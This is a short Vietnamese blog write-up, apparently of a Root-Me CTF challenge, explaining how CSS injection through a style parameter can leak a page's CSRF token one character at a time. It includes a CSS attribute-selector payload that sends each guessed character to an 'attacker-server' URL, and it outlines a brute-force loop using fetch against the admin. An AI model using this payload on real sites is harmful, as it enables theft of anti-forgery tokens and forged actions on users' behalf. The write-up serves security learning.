0
0
Lập trình
Admin Team
Admin Teamtechmely

Tấn Công CSS - Phương Pháp Exfiltration Mã CSRF

Đăng vào 3 ngày trước

• 2 phút đọc

Chủ đề:

CSSWeb

Tấn Công CSS - Phương Pháp Exfiltration Mã CSRF

Trong bài viết này, chúng ta sẽ tìm hiểu cách tận dụng CSS để thực hiện tấn công Exfiltration mã CSRF (Cross-Site Request Forgery) một cách hiệu quả. Đầu tiên, hãy bắt đầu với việc duyệt web và thu thập thông tin.

Bước 1: Khám Phá Giao Diện và Tham Số

Khi truy cập vào trang web, chúng ta thấy có một giao diện gửi form, và trên thanh URL có hiện tượng tham số style. Tham số này có thể là mục tiêu của chúng ta.

Bước 2: Thử Nghiệm Các Giá Trị Đặc Biệt

Kiểm tra các giá trị đặc biệt trong tham số style, nhưng phát hiện rằng hệ thống đã lọc và không cho phép chèn mã độc vào.

Bước 3: Trỏ tới Server của Attacker

Chúng ta có thể thử trỏ tham số này đến server của chúng ta: http://[burp collaborator]/. Đừng quên thêm dấu / ở cuối, bởi vì hệ thống thường thêm .css vào cuối đường dẫn.

Bước 4: Tạo File CSS và Exfiltrate CSRF Token

Chúng ta sẽ tạo một file CSS trên server của mình và sử dụng nó để lấy mã CSRF. Có hai tình huống mà chúng ta có thể khai thác để thực hiện việc này: lấy mã CSRF từ thẻ input hoặc từ thẻ script. Trong bài này, chúng ta sẽ tập trung vào việc lấy mã CSRF từ thẻ input.

Bước 5: Kiểm Tra Giá Trị CSRF

Chúng ta sẽ xây dựng đoạn mã CSS có mục đích kiểm tra ký tự đầu tiên trong tham số value của thẻ input có name="csrf":

css Copy
input[name="csrf"][value^="0"] {background: url(http://attacker-server/0)}

Nếu ký tự đầu tiên là đúng, thì một request sẽ được gửi tới server của attacker.

Bước 6: Thiết Lập Server và Endpoint

Tiếp theo, chúng ta cần tạo một server và một endpoint để lưu trữ các giá trị CSRF hợp lệ. Ngoài ra, chúng ta cũng cần một endpoint để trả về mã CSRF để kiểm tra các ký tự tiếp theo.

Bước 7: Phát Triển Mã Xử Lý Client

Tại phía client, chúng ta sẽ phát triển một file HTML để thực hiện brute force mã CSRF. Mã CSRF có tổng cộng 32 ký tự, chúng ta sẽ cần brute force từng ký tự một.

Bước 8: Sử Dụng Fetch Để Gửi Request

Chúng ta sẽ sử dụng phương thức fetch để gửi post request từ mã HTML của mình tới trang mục tiêu. Đảm bảo rằng đường dẫn URL trỏ tới website của rootme để admin có thể truy cập.

Bước 9: Lặp Lại Để Tìm Từng Ký Tự

Sau khi admin truy cập vào file CSS, chúng ta sẽ tìm ra ký tự tiếp theo của mã CSRF. Quá trình này sẽ được lặp lại cho đến khi chúng ta tìm được đủ 32 ký tự.

Kết Luận

Trong bài viết này, chúng ta đã khám phá một phương pháp tấn công CSS để exfiltrate mã CSRF bằng cách tạo các file CSS cụ thể và sử dụng chúng để thực hiện brute force mã của người dùng. Hãy nhớ rằng việc thực hiện tấn công này cần phải có sự đồng ý của các bên liên quan và chỉ nên được thực hiện trong môi trường kiểm thử hợp pháp.
source: viblo

Gợi ý câu hỏi phỏng vấn
Không có dữ liệu

Không có dữ liệu

Bài viết được đề xuất
Bài viết cùng tác giả

Bình luận

Chưa có bình luận nào

Chưa có bình luận nào